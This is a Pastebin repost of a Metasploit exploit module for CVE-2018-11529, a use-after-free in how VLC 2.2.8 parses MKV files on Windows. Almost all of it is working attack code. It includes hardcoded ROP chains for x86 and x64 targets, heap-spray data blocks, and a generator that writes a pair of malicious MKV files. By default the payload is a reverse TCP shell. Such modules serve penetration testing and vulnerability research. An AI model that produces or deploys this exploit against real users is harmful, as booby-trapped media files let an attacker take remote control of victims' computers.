SHARE
TWEET

CVE-2018-11529

TVT618 Oct 17th, 2018 763 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ##
  2. # This module requires Metasploit: https://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5.  
  6. class MetasploitModule < Msf::Exploit
  7.   Rank = GreatRanking
  8.  
  9.   include Msf::Exploit::FILEFORMAT
  10.  
  11.   def initialize(info = {})
  12.     super(update_info(info,
  13.       'Name'           => 'VLC Media Player MKV Use After Free',
  14.       'Description'    => %q(
  15.           This module exploits a use after free vulnerability in
  16.         VideoLAN VLC =< 2.2.8. The vulnerability exists in the parsing of
  17.         MKV files and affects both 32 bits and 64 bits.
  18.  
  19.           In order to exploit this, this module will generate two files:
  20.         The first .mkv file contains the main vulnerability and heap spray,
  21.         the second .mkv file is required in order to take the vulnerable code
  22.         path and should be placed under the same directory as the .mkv file.
  23.  
  24.           This module has been tested against VLC v2.2.8. Tested with payloads
  25.         windows/exec, windows/x64/exec, windows/shell/reverse_tcp,
  26.         windows/x64/shell/reverse_tcp. Meterpreter payloads if used can
  27.         cause the application to crash instead.
  28.       ),
  29.       'License'        => MSF_LICENSE,
  30.       'Author'         => [
  31.         'Eugene Ng - GovTech',      # Vulnerability Discovery, Exploit
  32.         'Winston Ho - GovTech',     # Metasploit Module
  33.       ],
  34.       'References'     =>
  35.         [
  36.           ['CVE', '2018-11529'],
  37.           ['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11529'],
  38.           ['EDB', '44979']
  39.         ],
  40.       'Payload'        =>
  41.         {
  42.           'Space'          => 0x300,
  43.           'DisableNops'    => true
  44.         },
  45.       'Platform'       => 'win',
  46.       'Targets'        => [
  47.         [
  48.           'VLC 2.2.8 on Windows 10 x86',
  49.           {
  50.             'Platform' => 'win',
  51.             'Arch' => [ARCH_X86],
  52.             'Ret' => 0x22000020,
  53.             'ExitPointer' => 0x00411364,
  54.             'DefaultOptions' => {'PAYLOAD' => 'windows/shell/reverse_tcp'},
  55.             'RopChain' => [
  56.               0x0040ae91,             # XCHG EAX,ESP # ADD BYTE PTR [ECX],AL # MOV EAX,DWORD PTR [EAX] # RET
  57.               0x00407086,             # POP EDI # RETN [vlc.exe]
  58.               0x00000040,             # 0x00000040-> edx
  59.               0x0040b058,             # MOV EDX,EDI # POP ESI # POP EDI # POP EBP # RETN [vlc.exe]
  60.               0x41414141,             # Filler (compensate)
  61.               0x41414141,             # Filler (compensate)
  62.               0x41414141,             # Filler (compensate)
  63.               0x004039c7,             # POP EAX # POP ECX # RETN [vlc.exe]
  64.               0x22000030,             # Filler (compensate) for rol [eax] below
  65.               0x41414141,             # Filler (compensate)
  66.               0x004039c8,             # POP ECX # RETN [vlc.exe]
  67.               0x0041193d,             # &Writable location [vlc.exe]
  68.               0x00409d18,             # POP EBX # RETN [vlc.exe]
  69.               0x00000201,             # 0x00000201-> ebx
  70.               0x0040a623,             # POP EBP # RETN [vlc.exe]
  71.               0x0040a623,             # POP EBP # RETN [vlc.exe]
  72.               0x004036CB,             # POP ESI # RETN [vlc.exe]
  73.               0x0040848c,             # JMP ds:[EAX * 4 + 40e000] [vlc.exe]
  74.               0x00407086,             # POP EDI # RETN [vlc.exe]
  75.               0x0040ae95,             # MOV EAX,DWORD PTR [EAX] # RETN [vlc.exe]
  76.               0x0040af61,             # PUSHAD # ROL BYTE PTR [EAX], 0FFH # LOOPNE VLC+0XAEF8 (0040AEF8)
  77.               0x22000020 + 0x5e0,     # Shellcode
  78.             ]
  79.           }
  80.         ],
  81.         [
  82.           'VLC 2.2.8 on Windows 10 x64',
  83.           {
  84.             'Platform' => 'win',
  85.             'Arch' => [ARCH_X64],
  86.             'Ret' => 0x40000040,
  87.             'ExitPointer' => 0x00412680,
  88.             'DefaultOptions' => {'PAYLOAD' => 'windows/x64/shell/reverse_tcp'},
  89.             'RopChain' => [
  90.               0x004037ac,             # XCHG EAX,ESP # ROL BL,90H # CMP WORD PTR [RCX],5A4DH # JE VLC+0X37C0 (00000000`004037C0) # XOR EAX,EAX # RET
  91.               0x00403b60,             # POP RCX # RET
  92.               0x40000040,             # lpAddress
  93.               0x004011c2,             # POP RDX # RET
  94.               0x00001000,             # dwSize
  95.               0x0040ab70,             # JMP VirtualProtect
  96.               0x40000040 + 0x700,     # Payload
  97.             ]
  98.           }
  99.         ]
  100.       ],
  101.       'Privileged'     => false,
  102.       'DisclosureDate' => 'May 24 2018',
  103.       'DefaultTarget'  => 1))
  104.  
  105.     register_options [
  106.       OptString.new('MKV_ONE', [false, 'mkv that should be opened', '']),
  107.       OptString.new('MKV_TWO', [false, 'The auxiliary file name.', ''])
  108.     ]
  109.  
  110.     deregister_options('FILENAME')
  111.   end
  112.  
  113.   def to_bytes(num, length, endianess = 'big')
  114.     h = format('%<num>x', num: num)
  115.     s = ('0' * (h.length % 2) + h).rjust(length * 2)
  116.     s = s.scan(/.{2}/).map! { |x| x.hex.chr }.join
  117.     endianess == 'big' ?  s : s.reverse
  118.   end
  119.  
  120.   def data_size(number, numbytes = (1...9))
  121.     # encode 'number' as an EBML variable-size integer.
  122.     numbytes = [numbytes] if numbytes.is_a?(Integer)
  123.     numbytes.each do |size|
  124.       bits = size * 7
  125.       return to_bytes(((1 << bits) + number), size) if number <= (1 << bits) - 2
  126.     end
  127.     fail_with(Failure::BadConfig, "Can't store #{number} in #{size} bytes")
  128.   end
  129.  
  130.   def build_data(size)
  131.     block_size = 0x1000
  132.  
  133.     if target.arch.first == ARCH_X64
  134.       target_address_packed = [target.ret].pack("<Q")
  135.       rop_chain = target['RopChain'].map { |qword| [qword].pack("<Q") }.join
  136.  
  137.       if size == 0x180
  138.         uaf_object = "\x41" * size
  139.         uaf_object[0x30, 8] = target_address_packed
  140.         uaf_object[0x38, 8] = [target.ret + 0x10000].pack("<Q")
  141.         uaf_object[0x168, 8] = [target.ret + 0x3c0].pack("<Q")
  142.         uaf_object[0x170, 8] = target_address_packed
  143.         return uaf_object
  144.       else
  145.         block = "\x00" * block_size
  146.         block[0x0, 4] = "\x41" * 4
  147.         block[0x8, target_address_packed.length] = target_address_packed
  148.         block[0x10, target_address_packed.length] = target_address_packed
  149.  
  150.         block[0x40, 8] = [0x1].pack("<Q")
  151.         block[0x58, 8] = [target.ret + 0x3a8].pack("<Q")
  152.         block[0xE4, 8] = [0x1].pack("<Q")
  153.  
  154.         block[0x1b8, 8] = [target.ret + 0x80].pack("<Q")
  155.         block[0x3b8, rop_chain.length] = rop_chain
  156.  
  157.         block[0x6d8, 8] = [target.ret + 0x10].pack("<Q")
  158.         block[0x700, payload.encoded.length] = payload.encoded
  159.  
  160.         block *= size / block.length + 1
  161.       end
  162.       return block[0, size]
  163.     elsif target.arch.first == ARCH_X86
  164.       target_address_packed = [target.ret].pack("<I")
  165.       rop_chain = target['RopChain'].map { |dword| [dword].pack("<I") }.join
  166.  
  167.       if size == 0x100
  168.         uaf_object = "\x41" * size
  169.         uaf_object[0x28, 4] = target_address_packed
  170.         uaf_object[0x2c, 4] = [target.ret + 0x10000].pack("<I")
  171.         uaf_object[0xf4, 4] = [target.ret + 0x2bc].pack("<I")
  172.         uaf_object[0xf8, 4] = target_address_packed
  173.         return uaf_object
  174.       else
  175.         block = "\x00" * block_size
  176.         block[0x0, 4] = [0x22000040].pack("<I")
  177.         block[0x4, target_address_packed.length] = target_address_packed
  178.         block[0x8, target_address_packed.length] = target_address_packed
  179.  
  180.         block[0x10, 4] = [0xc85].pack("<I")
  181.         block[0x30, 4] = [0x1].pack("<I")
  182.         block[0xc0, 4] = [0x1].pack("<I")
  183.  
  184.         block[0x194, 4] = [0x2200031c].pack("<I")
  185.         block[0x2c0, 4] = [0x220002e4].pack("<I")
  186.         block[0x2f4, 4] = [0x22000310].pack("<I")
  187.  
  188.         block[0x2f8, rop_chain.length] = rop_chain
  189.         block[0x564, 4] = [0x22000588].pack("<I")
  190.         block[0x5e0, payload.encoded.length] = payload.encoded
  191.  
  192.         block *= size / block.length + 1
  193.       end
  194.       return block[0, size]
  195.     end
  196.   end
  197.  
  198.   def generate_mkv
  199.     # EBML Header
  200.     doc_type = "\x42\x82" << data_size(8) << "matroska"
  201.     ebml = "\x1a\x45\xdf\xa3" << data_size(doc_type.length) << doc_type
  202.  
  203.     # Seek Entries
  204.     seek_entry = "\x53\xab" << data_size(4)                                  # SeekID
  205.     seek_entry << "\x15\x49\xa9\x66"                                         # KaxInfo
  206.     seek_entry << "\x53\xac" << data_size(2) << "\xff" * 2                   # SeekPosition + Index of Segment info
  207.     seek_entries = "\x4d\xbb" << data_size(seek_entry.length) << seek_entry  # Seek Entry
  208.  
  209.     seek_entry = "\x53\xab" << data_size(4)                                  # SeekID
  210.     seek_entry << "\x11\x4d\x9b\x74"                                         # KaxSeekHead
  211.     seek_entry << "\x53\xac" << data_size(4) << "\xff" * 4                   # SeekPosition + Index of SeekHead
  212.     seek_entries << "\x4d\xbb" << data_size(seek_entry.length) << seek_entry # Seek Entry
  213.  
  214.     seek_entry = "\x53\xab" << data_size(4)                                  # SeekID
  215.     seek_entry << "\x10\x43\xa7\x70"                                         # KaxChapters
  216.     seek_entry << "\x53\xac" << data_size(4) << "\xff" * 4                   # SeekPosition + Index of Chapters
  217.     seek_entries << "\x4d\xbb" << data_size(seek_entry.length) << seek_entry # Seek Entry
  218.  
  219.     # SeekHead
  220.     seek_head = "\x11\x4d\x9b\x74" << data_size(seek_entries.length) << seek_entries
  221.  
  222.     # Void
  223.     void = "\xec" << data_size(2) << "\x41" # Trigger bug with an out-of-order element
  224.  
  225.     # Info
  226.     segment_uid = "\x73\xa4" << data_size(16) << rand_text(16)
  227.     info = "\x15\x49\xa9\x66" << data_size(segment_uid.length) << segment_uid
  228.  
  229.     # Chapters
  230.     chapter_segment_uid = "\x6e\x67" << data_size(16) << rand_text(16)
  231.     chapter_atom = "\xb6" << data_size(chapter_segment_uid.length) << chapter_segment_uid
  232.     edition_entry = "\x45\xb9" << data_size(chapter_atom.length) << chapter_atom
  233.     chapters = "\x10\x43\xa7\x70" << data_size(edition_entry.length) << edition_entry
  234.  
  235.     if target.arch.first == ARCH_X86
  236.       size = 0x100
  237.       count = 30
  238.     elsif target.arch.first == ARCH_X64
  239.       size = 0x180
  240.       count = 60
  241.     end
  242.  
  243.     # Attachments
  244.     attached_files = ""
  245.     mime = "\x46\x60" << data_size(24) << "application/octet-stream"
  246.     data = build_data(size)
  247.     data = "\x46\x5c" << data_size(data.length) << data
  248.     500.times do
  249.       uid = "\x46\xae" << data_size(8) << rand_text(8)
  250.       file_name = "\x46\x6e" << data_size(8) << rand_text(8)
  251.       header = "\x61\xa7" << data_size(uid.length + file_name.length + mime.length + data.length)
  252.  
  253.       attached_files << header << file_name << mime << uid << data
  254.     end
  255.     attachments = "\x19\x41\xa4\x69" << data_size(attached_files.length) << attached_files
  256.  
  257.     # Cluster
  258.     pay_load = build_data(0xfff000)
  259.     # Since the payload is simply repeated payload blocks appended to cluster then segment_data,
  260.     # we return the simple_block and the count to process later instead.
  261.     # This should result is overall lowered memory usage during payload generation
  262.     simple_block = "\xa3" << data_size(pay_load.length) << pay_load
  263.     simple_blocks_len = simple_block.length * count
  264.     time_code = "\xe7" << data_size(1) << "\x00"
  265.     cluster = "\x1f\x43\xb6\x75" << data_size(time_code.length + simple_blocks_len) << time_code
  266.  
  267.     # Concatenate everything
  268.     segment_data = seek_head << void << info << chapters << attachments << cluster
  269.     segment = "\x18\x53\x80\x67" << data_size(segment_data.length + simple_blocks_len) << segment_data
  270.     mkv = ebml << segment
  271.  
  272.     return mkv, simple_block, count
  273.   end
  274.  
  275.   def exploit
  276.     mkv1, simple_block, count = generate_mkv
  277.     mkv2 = mkv1[0, 0x4f] + "\x15\x49\xa9\x66" + data_size(10)
  278.  
  279.     tmpname = rand_text_alpha_lower(3..8)
  280.     f1 = datastore['MKV_ONE'].empty? ? "#{tmpname}-part1.mkv" : datastore['MKV_ONE']
  281.     f1 << '.mkv' unless f1.downcase.end_with?('.mkv')
  282.  
  283.     f2 = datastore['MKV_TWO'].empty? ? "#{tmpname}-part2.mkv" : datastore['MKV_TWO']
  284.     f2 << '.mkv' unless f2.downcase.end_with?('.mkv')
  285.  
  286.     file_format_filename(f1)
  287.     file_create(mkv1)
  288.     print_status("Created #{f1}. Target should open this file")
  289.  
  290.     file_format_filename(f2)
  291.     file_create(mkv2)
  292.     print_status("Created #{f2}. Put this file in the same directory as #{f1}")
  293.  
  294.     print_status("Appending blocks to #{f1}")
  295.     path = File.join(Msf::Config.local_directory, f1)
  296.     full_path = ::File.expand_path(path)
  297.     File.open(full_path, 'ab') do |fd|
  298.       count.times { fd.write(simple_block) }
  299.     end
  300.     print_good("Succesfully appended blocks to #{f1}")
  301.   end
  302.  
  303.   def file_format_filename(name = '')
  304.     name.empty? ? @fname : @fname = name
  305.   end
  306. end
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top